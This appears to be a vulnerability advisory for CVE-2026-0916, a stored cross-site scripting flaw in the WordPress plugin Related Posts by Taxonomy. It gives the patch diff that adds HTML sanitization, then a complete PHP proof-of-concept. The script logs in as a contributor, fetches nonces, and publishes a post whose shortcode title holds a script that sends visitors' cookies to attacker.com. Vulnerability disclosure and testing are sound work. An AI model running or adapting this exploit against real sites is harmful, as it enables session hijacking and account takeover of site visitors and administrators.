CVE-2026-0916: Related Posts by Taxonomy <= 2.7.6 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'related_posts_by_tax' Shortcode (related-posts-by-taxonomy)

--- a/related-posts-by-taxonomy/includes/class-rest-api.php
+++ b/related-posts-by-taxonomy/includes/class-rest-api.php
@@ -186,14 +186,7 @@
 	 * @return string Sanitized HTML.
 	 */
 	public function sanitize_response_html( $html ) {
-		$tags = wp_kses_allowed_html( 'post' );
-
-		// For show date
-		$tags['time'] = array(
-			'datetime' => true,
-			'class'    => true,
-		);
-
+		$tags = km_rpbt_kses_allowed_html();
 		$html = wp_kses( $html, $tags );
 		return $html ? $html : '';
 	}
--- a/related-posts-by-taxonomy/includes/functions.php
+++ b/related-posts-by-taxonomy/includes/functions.php
@@ -261,7 +261,20 @@
 		$html .= isset( $rpbt_args[ $after ] ) ? $rpbt_args[ $after ] . "n" : '';
 	}

+	/**
+	 * Filters Disallowed tags (<scipt> etc...) out of html output by default.
+	 *
+	 * @since 2.7.7
+	 *
+	 * @return boolean Srips disallowed html from output if true
+	 */
+	if ( apply_filters( 'related_posts_by_taxonomy_strip_disallowed_html', true, $rpbt_args ) ) {
+		// Html is filtered by default to only return allowed HTML.
+		$html = wp_kses( $html, km_rpbt_kses_allowed_html() );
+	}
+
 	$recursing = false;
+
 	return trim( $html );
 }

--- a/related-posts-by-taxonomy/includes/settings.php
+++ b/related-posts-by-taxonomy/includes/settings.php
@@ -363,3 +363,36 @@
 	}
 	return $args;
 }
+
+/**
+ * Returns all valid tags in html returned by this plugin.
+ *
+ * @since 2.7.7
+ *
+ * @return array Array with validated boolean values
+ */
+function km_rpbt_kses_allowed_html() {
+	$tags = wp_kses_allowed_html( 'post' );
+
+	if ( ! isset( $tags['time'] ) || ! is_array( $tags['time'] ) ) {
+		$tags['time'] = array();
+	}
+	$tags['time']['datetime'] = true;
+	$tags['time']['class']    = true;
+
+	if ( ! isset( $tags['img'] ) || ! is_array( $tags['img'] ) ) {
+		$tags['img'] = array();
+	}
+	$tags['img']['srcset']   = true;
+	$tags['img']['decoding'] = true;
+	$tags['img']['sizes']    = true;
+
+	/**
+	 * Valid tags used for kses.
+	 *
+	 * @since 2.7.7
+	 *
+	 * @return array Array with allowed html tags
+	 */
+	return apply_filters( 'related_posts_by_taxonomy_kses_allowed_html', $tags );
+}
--- a/related-posts-by-taxonomy/related-posts-by-taxonomy.php
+++ b/related-posts-by-taxonomy/related-posts-by-taxonomy.php
@@ -1,7 +1,7 @@
 <?php
 /**
  * Plugin Name: Related Posts By Taxonomy
- * Version: 2.7.6
+ * Version: 2.7.7
  * Plugin URI: http://keesiemeijer.wordpress.com/related-posts-by-taxonomy/
  * Description: Display related posts as thumbnails, links, excerpts or as full posts with a widget or shortcode. Posts with the most terms in common will display at the top.
  * Author: keesiemijer

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0916 - Related Posts by Taxonomy <= 2.7.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'related_posts_by_tax' Shortcode

<?php

$target_url = 'http://vulnerable-wordpress-site.local/wp-admin/post.php';
$username = 'contributor';
$password = 'password';

// Payload: Inject a script that steals the user's cookies.
$malicious_title = '<script>fetch("https://attacker.com/steal?c=" + document.cookie);</script>';
$shortcode = '[related_posts_by_tax title="' . $malicious_title . '"]';

// Create a new post with the malicious shortcode.
$post_data = [
    'post_title'   => 'Test Post with XSS',
    'post_content' => 'This post contains an exploited shortcode. ' . $shortcode,
    'post_status'  => 'publish',
    'post_type'    => 'post'
];

// Initialize cURL session for login and cookie handling.
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Step 1: Get the login page to retrieve the nonce.
curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-wordpress-site.local/wp-login.php');
$login_page = curl_exec($ch);

preg_match('/name="log"[^>]+value="([^"]*)"?/', $login_page, $log_match);
$log = $log_match[1] ?? '';
preg_match('/name="pwd"[^>]+value="([^"]*)"?/', $login_page, $pwd_match);
$pwd = $pwd_match[1] ?? '';
preg_match('/name="wp-submit"[^>]+value="([^"]*)"?/', $login_page, $submit_match);
$wp_submit = $submit_match[1] ?? 'Log In';

// Step 2: Perform the login POST.
$login_post_data = http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => $wp_submit,
    'redirect_to' => 'http://vulnerable-wordpress-site.local/wp-admin/',
    'testcookie' => '1'
]);

curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-wordpress-site.local/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_post_data);
$login_response = curl_exec($ch);

// Step 3: Create a new post with the malicious shortcode.
// First, get the post creation page to retrieve the nonce (_wpnonce).
curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-wordpress-site.local/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POST, false);
$post_new_page = curl_exec($ch);

preg_match('/name="_wpnonce" value="([^"]+)"/', $post_new_page, $nonce_match);
$wpnonce = $nonce_match[1] ?? '';

// Build the POST data for creating the post.
$create_post_data = http_build_query(array_merge($post_data, [
    '_wpnonce' => $wpnonce,
    '_wp_http_referer' => '/wp-admin/post-new.php',
    'action' => 'editpost',
    'post_type' => 'post',
    'user_ID' => '1', // Adjust if needed
    'meta-box-order-nonce' => $wpnonce,
    'closedpostboxesnonce' => $wpnonce,
    'samplepermalinknonce' => $wpnonce
]));

curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $create_post_data);
$create_response = curl_exec($ch);

// Check for success.
if (strpos($create_response, 'Post published.') !== false || strpos($create_response, 'Post updated.') !== false) {
    echo "[+] Malicious post created successfully. The XSS payload will execute when the post is viewed.n";
    // Extract the post ID from the response for demonstration.
    preg_match('/post=([0-9]+)/', $create_response, $post_id_match);
    if (!empty($post_id_match[1])) {
        $post_id = $post_id_match[1];
        echo "[+] Post ID: $post_id. View at: http://vulnerable-wordpress-site.local/?p=$post_idn";
    }
} else {
    echo "[-] Post creation may have failed. Check authentication and permissions.n";
}

curl_close($ch);

?>